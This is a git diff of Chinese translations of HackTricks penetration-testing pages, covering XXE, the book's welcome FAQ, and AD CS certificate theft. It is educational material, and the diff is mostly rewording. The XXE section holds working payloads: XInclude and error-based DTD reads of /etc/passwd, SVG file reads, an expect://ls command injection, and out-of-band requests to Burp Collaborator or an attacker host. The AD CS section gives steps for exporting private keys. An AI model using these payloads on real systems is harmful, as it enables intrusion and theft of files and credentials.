修改后的 XML 行应插入在两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。
|
修改后的 XML 行应插入在两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。
|
||||||
|
|
||||||
最后,可以将文件压缩为恶意 poc.docx 文件。从先前创建的 "unzipped" 目录中,应运行以下命令:
|
最后,可以将文件压缩为恶意 poc.docx 文件。从先前创建的“unzipped”目录中,应运行以下命令:
|
||||||
|
|
||||||
现在,可以将创建的文件上传到可能存在漏洞的 Web 应用程序中,并希望在 Burp Collaborator 日志中出现请求。
|
现在,可以将创建的文件上传到可能存在漏洞的 Web 应用程序,并希望在 Burp Collaborator 日志中出现请求。
|
||||||
|
|
||||||
|
|
||||||
### Jar 协议
|
### Jar 协议
|
||||||
|
|
||||||
`jar` 协议仅适用于 Java 应用程序。它允许访问 PKZIP 文件(`.zip`、`.jar` 等)中的文件,并适用于本地和远程文件。
|
`jar` 协议仅适用于 Java 应用程序。它允许访问 PKZIP 文件(`.zip`、`.jar` 等)中的文件,并适用于本地和远程文件:
|
||||||
```
|
```
|
||||||
jar:file:///var/myarchive.zip!/file.txt
|
jar:file:///var/myarchive.zip!/file.txt
|
||||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
访问 PKZIP 文件内部的文件对于通过系统 DTD 文件滥用 XXE 非常有用。查看[此部分以了解如何滥用系统 DTD 文件](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
|
访问 PKZIP 文件内部的文件对于通过系统DTD文件滥用XXE非常有用。查看[此部分以了解如何滥用系统DTD文件](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### 幕后
|
#### 幕后
|
||||||
|
|
||||||
1. 发起 HTTP 请求以加载 zip 存档。`https://download.host.com/myarchive.zip`
|
1. 发起HTTP请求以加载zip存档。`https://download.host.com/myarchive.zip`
|
||||||
2. 将 HTTP 响应保存到临时位置。`/tmp/...`
|
2. 将HTTP响应保存到临时位置。`/tmp/...`
|
||||||
3. 解压存档。
|
3. 解压存档。
|
||||||
4. 读取 `file.zip`
|
4. 读取`file.zip`
|
||||||
5. 删除临时文件。
|
5. 删除临时文件。
|
||||||
|
|
||||||
请注意,可以在第二步中停止流程。技巧是在提供文件时永远不要关闭连接。[这些工具可能会有所帮助](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution):一个是 Python 中的 `slow_http_server.py`,另一个是 Java 中的 `slowserver.jar`。
|
请注意,可以在第二步中停止流程。诀窍是在提供文件时永远不要关闭连接。[这些工具可能会有所帮助](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution):一个是Python中的`slow_http_server.py`,另一个是Java中的`slowserver.jar`。
|
||||||
|
|
||||||
一旦服务器下载了您的文件,您需要通过浏览临时目录来找到其位置。由于路径是随机的,因此无法提前预测文件路径。
|
一旦服务器下载了您的文件,您需要通过浏览临时目录来找到其位置。由于路径是随机的,因此无法提前预测文件路径。
|
||||||
|
|
||||||
|
@ -345,9 +351,9 @@ Responder.py -I eth0 -v
|
||||||
|
|
||||||
在某些情况下,**客户端发送的数据在解析之前会被服务器端处理并合并到一个XML文档中**。这通常发生在客户端数据被整合到一个**后端SOAP请求**中,随后由后端的SOAP服务处理。
|
在某些情况下,**客户端发送的数据在解析之前会被服务器端处理并合并到一个XML文档中**。这通常发生在客户端数据被整合到一个**后端SOAP请求**中,随后由后端的SOAP服务处理。
|
||||||
|
|
||||||
在这些情况下,执行传统的XXE(XML外部实体)攻击变得具有挑战性,因为对XML文档整体的控制受限,特别是无法修改或引入`DOCTYPE`元素。然而,利用`XInclude`,这是XML标准的一个功能,它允许从较小的子文档组装一个XML文档,提供了一种解决方法。这种方法允许在XML文档的任何数据元素中进行`XInclude`攻击,在服务器生成的XML文档中嵌入数据的控制受限的情况下也是可行的。
|
在这些情况下,执行传统的XXE(XML外部实体)攻击变得具有挑战性,因为对XML文档整体的控制受限,特别是无法修改或引入`DOCTYPE`元素。然而,利用`XInclude`,这是XML标准的一个功能,它允许从较小的子文档组装一个XML文档,提供了一种解决方法。这种方法允许在XML文档的任何数据元素中进行`XInclude`攻击,在服务器生成的XML文档中嵌入数据时,这种攻击是可行的。
|
||||||
|
|
||||||
要发起一个`XInclude`攻击,需要包含`XInclude`命名空间,并指定用于包含的文件路径。以下示例演示了如何构建这样一种攻击:
|
要发起一个`XInclude`攻击,需要包含`XInclude`命名空间,并指定要包含的文件路径。以下示例演示了如何构建这样一种攻击:
|
||||||
```xml
|
```xml
|
||||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||||
```
|
```
|
||||||
|
@ -363,13 +369,13 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||||
```xml
|
```xml
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||||
```
|
```
|
||||||
另一种方法涉及尝试通过 PHP 的 "expect" 包装器执行命令:
|
另一种方法涉及尝试通过PHP的“expect”包装器执行命令:
|
||||||
```xml
|
```xml
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||||
<image xlink:href="expect://ls"></image>
|
<image xlink:href="expect://ls"></image>
|
||||||
</svg>
|
</svg>
|
||||||
```
|
```
|
||||||
在这两种情况下,SVG 格式被用来发动攻击,利用服务器软件的 XML 处理能力,突显了对强大的输入验证和安全措施的需求。
|
在这两种情况下,SVG 格式被用来发动攻击,利用服务器软件的 XML 处理能力,突显了强大的输入验证和安全措施的必要性。
|
||||||
|
|
||||||
查看[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)获取更多信息!
|
查看[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)获取更多信息!
|
||||||
|
|
||||||
|
@ -377,7 +383,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||||
|
|
||||||
### **PDF - 文件上传**
|
### **PDF - 文件上传**
|
||||||
|
|
||||||
阅读以下文章以**学习如何利用 XXE 上传 PDF 文件**:
|
阅读以下文章以**了解如何利用 XXE 上传 PDF 文件**:
|
||||||
|
|
||||||
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
|
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
|
||||||
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||||
|
@ -514,30 +520,31 @@ DTD 示例:
|
||||||
|
|
||||||
### **XML External Entity (XEE) Attack**
|
### **XML External Entity (XEE) Attack**
|
||||||
|
|
||||||
XML External Entity (XXE) attacks occur when an attacker is able to inject malicious XML content into an XML document processed by a web application. This can lead to sensitive data exposure, server-side request forgery (SSRF), and other security risks.
|
XML External Entity (XXE) attacks occur when an attacker is able to inject malicious XML content into an XML document processed by a web application. This attack can lead to sensitive data exposure, server-side request forgery (SSRF), and remote code execution.
|
||||||
|
|
||||||
#### **Detecting XEE Vulnerabilities**
|
#### **Detecting XEE Vulnerabilities**
|
||||||
|
|
||||||
To detect XEE vulnerabilities, you can send a SOAP request with a malicious XML payload containing an external entity reference. If the application processes the external entity and includes sensitive information in its response, the vulnerability is present.
|
To detect XEE vulnerabilities, you can send a SOAP request with a malicious XML payload containing an external entity reference pointing to a file on the server. If the application processes the external entity and includes the file content in the response, it is vulnerable to XEE attacks.
|
||||||
|
|
||||||
#### **Exploiting XEE Vulnerabilities**
|
#### **Exploiting XEE Vulnerabilities**
|
||||||
|
|
||||||
Exploiting XEE vulnerabilities involves crafting a malicious XML payload that includes an external entity pointing to a file or system resource containing sensitive data. By manipulating the XML content, an attacker can retrieve this data through the application's response.
|
Exploiting XEE vulnerabilities allows an attacker to read files from the server, conduct SSRF attacks, and execute arbitrary code on the server. By manipulating the XML payload, an attacker can retrieve sensitive information or perform unauthorized actions.
|
||||||
|
|
||||||
#### **Preventing XEE Attacks**
|
#### **Preventing XEE Attacks**
|
||||||
|
|
||||||
To prevent XEE attacks, ensure that XML parsing libraries are configured securely to disable external entity processing. Additionally, input validation and sanitization should be implemented to filter out any potentially malicious XML content before processing.
|
To prevent XEE attacks, disable external entity processing in XML parsers, use whitelists to validate input, and sanitize user-supplied XML input. Additionally, consider using newer XML technologies like XML Schema Definition (XSD) to validate XML structures.
|
||||||
```markup
|
```markup
|
||||||
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
||||||
```
|
```
|
||||||
## XLIFF - XXE
|
## XLIFF - XXE
|
||||||
|
|
||||||
本节内容摘自 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\
|
这个例子受到了[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)的启发。
|
||||||
根据 [维基百科](https://en.wikipedia.org/wiki/XLIFF) 的描述:
|
|
||||||
|
|
||||||
> XLIFF(XML Localization Interchange File Format)是一种基于 XML 的双文本格式,旨在标准化本地化数据在本地化过程中在工具之间传递的方式,以及 CAT 工具交换的常见格式。
|
XLIFF(XML本地化交换文件格式)用于标准化本地化过程中的数据交换。这是一种基于XML的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为CAT(计算机辅助翻译)工具的常见交换格式。
|
||||||
|
|
||||||
### 盲目请求
|
### 盲目请求分析
|
||||||
|
|
||||||
|
向服务器发出以下内容的请求:
|
||||||
```markup
|
```markup
|
||||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||||
|
@ -549,14 +556,15 @@ Content-Type: application/x-xliff+xml
|
||||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||||
```
|
```
|
||||||
服务器响应出现错误:
|
然而,这个请求触发了一个内部服务器错误,明确提到了与标记声明有关的问题:
|
||||||
```javascript
|
```json
|
||||||
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
||||||
```
|
```
|
||||||
但我们在Burp Collaborator上收到了一个命中。
|
尽管出现错误,但在Burp Collaborator上记录了一次命中,表明与外部实体有一定程度的交互。
|
||||||
|
|
||||||
### 通过带外数据泄露数据
|
带外数据泄露
|
||||||
```markup
|
为了将数据外泄,发送了一个修改过的请求:
|
||||||
|
```
|
||||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||||
Content-Type: application/x-xliff+xml
|
Content-Type: application/x-xliff+xml
|
||||||
|
@ -567,39 +575,37 @@ Content-Type: application/x-xliff+xml
|
||||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||||
```
|
```
|
||||||
根据Burp Collaborator返回的显示的用户代理,看起来它正在使用**Java 1.8**。在利用这个Java版本的XXE时的一个问题是,**我们无法使用带有`New Line`的文件**,比如使用Out of Band技术获取包含`/etc/passwd`的文件。
|
这种方法显示用户代理指示使用Java 1.8。Java的这个版本存在一个已知限制,即无法使用带有换行符(如/etc/passwd)的文件来检索文件,使用带外技术。
|
||||||
|
|
||||||
### 通过基于错误的方法外泄数据
|
基于错误的数据泄露
|
||||||
|
为了克服这个限制,采用了基于错误的方法。DTD文件的结构如下,以触发包含目标文件数据的错误:
|
||||||
DTD文件:
|
```xml
|
||||||
```markup
|
|
||||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||||
%foo;
|
%foo;
|
||||||
%xxe;
|
%xxe;
|
||||||
```
|
```
|
||||||
服务器响应:
|
服务器响应错误,重要的是反映了不存在的文件,表明服务器正在尝试访问指定的文件:
|
||||||
```javascript
|
```javascript
|
||||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||||
```
|
```
|
||||||
非存在的文件在错误消息中反映出来。接下来是添加文件内容。
|
要在错误消息中包含文件内容,需要调整DTD文件:
|
||||||
|
```xml
|
||||||
DTD 文件:
|
|
||||||
```markup
|
|
||||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
|
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
|
||||||
%foo;
|
%foo;
|
||||||
%xxe;
|
%xxe;
|
||||||
```
|
```
|
||||||
并且文件内容成功**在通过HTTP发送的错误输出中打印出来**。
|
这种修改导致文件内容成功外泄,因为它反映在通过HTTP发送的错误输出中。这表明成功利用XXE(XML外部实体)攻击,利用带外和基于错误的技术来提取敏感信息。
|
||||||
|
|
||||||
|
|
||||||
## RSS - XEE
|
## RSS - XEE
|
||||||
|
|
||||||
包含RSS格式的有效XML以利用XXE漏洞。
|
包含RSS格式的有效XML,用于利用XXE漏洞。
|
||||||
|
|
||||||
### 回显
|
### 回显
|
||||||
|
|
||||||
向攻击者服务器发送简单的HTTP请求
|
向攻击者服务器发出简单的HTTP请求
|
||||||
```markup
|
```markup
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||||
|
|
|
@ -8,7 +8,7 @@
|
||||||
|
|
||||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
|
@ -22,9 +22,9 @@
|
||||||
* 为**所有**互联网用户提供**免费**的**教育性黑客**资源。
|
* 为**所有**互联网用户提供**免费**的**教育性黑客**资源。
|
||||||
* 黑客是关于学习的,学习应该尽可能免费。
|
* 黑客是关于学习的,学习应该尽可能免费。
|
||||||
* 本书的目的是作为全面的**教育资源**。
|
* 本书的目的是作为全面的**教育资源**。
|
||||||
* **存储**社区发布的精彩**黑客**技术,给予**原作者**所有**荣誉**。
|
* **存储**社区发布的精彩**黑客**技术,给予**原作者**所有**功劳**。
|
||||||
* **我们不想要别人的荣誉**,我们只想为每个人存储酷炫的技巧。
|
* **我们不想要别人的功劳**,我们只想为每个人存储酷炫的技巧。
|
||||||
* 我们也在HackTricks中撰写**我们自己的研究**。
|
* 我们也在HackTricks中写**我们自己的研究**。
|
||||||
* 在许多情况下,我们将在HackTricks中仅写出技术的重要部分的摘要,并鼓励读者访问原始帖子以获取更多详细信息。
|
* 在许多情况下,我们将在HackTricks中仅写出技术的重要部分的摘要,并鼓励读者访问原始帖子以获取更多详细信息。
|
||||||
* **组织**书中的所有黑客技术,使其**更易访问**
|
* **组织**书中的所有黑客技术,使其**更易访问**
|
||||||
* HackTricks团队已经免费投入了数千小时**仅仅为了组织内容**,以便人们可以**更快学习**
|
* HackTricks团队已经免费投入了数千小时**仅仅为了组织内容**,以便人们可以**更快学习**
|
||||||
|
@ -46,7 +46,7 @@
|
||||||
* **我如何为项目做贡献?**
|
* **我如何为项目做贡献?**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
您可以与社区分享新的技巧和窍门,或修复书中发现的错误,通过向相应的Github页面发送**Pull Request**来做出贡献:
|
您可以与社区分享新的技巧和窍门,或修复您在书籍中发现的错误,通过向相应的Github页面发送**Pull Request**来做出贡献:
|
||||||
|
|
||||||
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||||
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||||
|
@ -63,7 +63,7 @@
|
||||||
* **我如何引用HackTricks的某一页?**
|
* **我如何引用HackTricks的某一页?**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
只要出现您提取信息的页面的链接就足够了。\
|
只要出现您提取信息的页面的链接即可。\
|
||||||
如果您需要bibtex,可以使用类似以下的内容:
|
如果您需要bibtex,可以使用类似以下的内容:
|
||||||
```latex
|
```latex
|
||||||
@misc{hacktricks-bibtexing,
|
@misc{hacktricks-bibtexing,
|
||||||
|
@ -85,7 +85,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
|
||||||
* **为什么你们有赞助商?HackTricks书籍是为了商业目的吗?**
|
* **为什么你们有赞助商?HackTricks书籍是为了商业目的吗?**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**HackTricks**的第一个**价值观**是为**全世界提供免费**的黑客教育资源。HackTricks团队已经**投入了数千小时**来提供这些内容,再次强调,是**免费**的。
|
**HackTricks**的第一个**价值观**是向**全世界提供免费**的黑客教育资源。HackTricks团队已经**投入了数千小时**来提供这些内容,再次强调,是**免费**的。
|
||||||
|
|
||||||
如果你认为HackTricks书籍是为了**商业目的**而制作的,那你是**完全错误**的。
|
如果你认为HackTricks书籍是为了**商业目的**而制作的,那你是**完全错误**的。
|
||||||
|
|
||||||
|
@ -97,7 +97,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
|
||||||
* **如果某个HackTricks页面是基于我的博客文章但没有引用,我该怎么办?**
|
* **如果某个HackTricks页面是基于我的博客文章但没有引用,我该怎么办?**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**非常抱歉,这不应该发生**。请通过Github问题、Twitter、Discord等方式告诉我们,提供包含内容的HackTricks页面链接和你的博客链接,**我们将立即核实并添加引用**。
|
**非常抱歉。这不应该发生**。请通过Github问题、Twitter、Discord等方式告诉我们,提供包含内容的HackTricks页面链接以及你的博客链接,**我们将立即检查并添加引用**。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
* **如果HackTricks中有来自我的博客的内容,而我不希望它出现在那里,我该怎么办?**
|
* **如果HackTricks中有来自我的博客的内容,而我不希望它出现在那里,我该怎么办?**
|
||||||
|
@ -105,13 +105,13 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
|
||||||
|
|
||||||
无论如何,要知道在这种情况下,HackTricks将会提升你的**SEO**并鼓励人们**查看你的页面**(有人告诉我们,因为他们的某个页面出现在HackTricks中,他们收到了更多访问量)。如果你仍然希望从HackTricks中删除你博客的内容,请告诉我们。
|
无论如何,要知道在这种情况下,HackTricks将会提升你的**SEO**并鼓励人们**查看你的页面**(有人告诉我们,因为他们的某个页面出现在HackTricks中,他们收到了更多访问量)。如果你仍然希望从HackTricks中删除你博客的内容,请告诉我们。
|
||||||
|
|
||||||
请注意,如果你提出这个要求,我们将**彻底删除你博客的所有链接**和任何基于它的内容。
|
请注意,如果你提出这个要求,我们将**绝对删除到你的博客的所有链接**,以及任何基于它的内容。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
* **如果我在HackTricks中发现了复制粘贴的内容,我该怎么办?**
|
* **如果我在HackTricks中发现了复制粘贴的内容,我该怎么办?**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**不幸的是,这种做法从项目开始就存在**。我们一直试图**给予原作者所有的功劳**。如果你发现有页面存在复制粘贴的内容(即使有原始来源的引用),请告诉我们,我们将**删除它**、**保留链接**或**重写它**。
|
**不幸的是,在项目刚开始时,当这个页面只是一个渗透测试人员的笔记时,可能发生了这种情况**。我们始终尽力**给予原始作者所有的功劳**。如果你发现有复制粘贴内容的页面(即使有原始来源的引用),请告诉我们,我们将**删除它**、**保留链接**或**重写它**。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
|
|
||||||
|
@ -123,9 +123,9 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
|
||||||
## **免责声明**
|
## **免责声明**
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
本书《HackTricks》仅供教育和信息目的。本书中的内容基于“现状”提供,作者和出版商对本书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。您对此类信息的任何依赖均完全由您自己承担风险。
|
本书《HackTricks》仅供教育和信息目的。本书中的内容是基于“现状”提供的,作者和出版商对本书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。您对此类信息的任何依赖均完全由您自己承担风险。
|
||||||
|
|
||||||
作者和出版商在任何情况下均不对任何损失或损害承担责任,包括但不限于间接或后果性的损失或损害,或因使用本书而导致的任何数据或利润损失或损害,或与使用本书有关的任何损失或损害。
|
作者和出版商在任何情况下均不对任何损失或损害承担责任,包括但不限于间接或后果性的损失或损害,或因使用本书而导致的任何数据或利润损失或损害。
|
||||||
|
|
||||||
此外,本书中描述的技术和提示仅供教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不赞成或支持任何非法或不道德的活动,任何使用本书中包含的信息均由用户自行承担风险和决定。
|
此外,本书中描述的技术和提示仅供教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不赞成或支持任何非法或不道德的活动,任何使用本书中包含的信息均由用户自行承担风险和决定。
|
||||||
|
|
||||||
|
@ -136,7 +136,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
|
|
|
@ -1,22 +1,25 @@
|
||||||
# AD CS 证书盗窃
|
# AD CS 证书窃取
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注我。
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**这是来自 [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf) 的精彩研究的简要总结**
|
||||||
|
|
||||||
|
|
||||||
## 我可以用证书做什么
|
## 我可以用证书做什么
|
||||||
|
|
||||||
在检查如何窃取证书之前,这里有一些信息可以帮助您了解证书有什么用途:
|
在查看如何窃取证书之前,您可以了解一些关于证书用途的信息:
|
||||||
```powershell
|
```powershell
|
||||||
# Powershell
|
# Powershell
|
||||||
$CertPath = "C:\path\to\cert.pfx"
|
$CertPath = "C:\path\to\cert.pfx"
|
||||||
|
@ -28,96 +31,102 @@ $Cert.EnhancedKeyUsageList
|
||||||
# cmd
|
# cmd
|
||||||
certutil.exe -dump -v cert.pfx
|
certutil.exe -dump -v cert.pfx
|
||||||
```
|
```
|
||||||
## 使用 Crypto APIs 导出证书 – THEFT1
|
## 使用加密API导出证书 – THEFT1
|
||||||
|
|
||||||
通过**交互式桌面会话**提取用户或机器证书和私钥是最简单的方法。如果**私钥**是**可导出的**,可以在 `certmgr.msc` 中右键点击证书,然后选择 `All Tasks → Export`… 来导出一个密码保护的 .pfx 文件。\
|
在**交互式桌面会话**中,提取用户或机器证书以及私钥,特别是如果**私钥是可导出的**,可以很容易地完成。这可以通过导航到`certmgr.msc`中的证书,右键单击它,然后选择`所有任务 → 导出`来生成一个受密码保护的 .pfx 文件来实现。
|
||||||
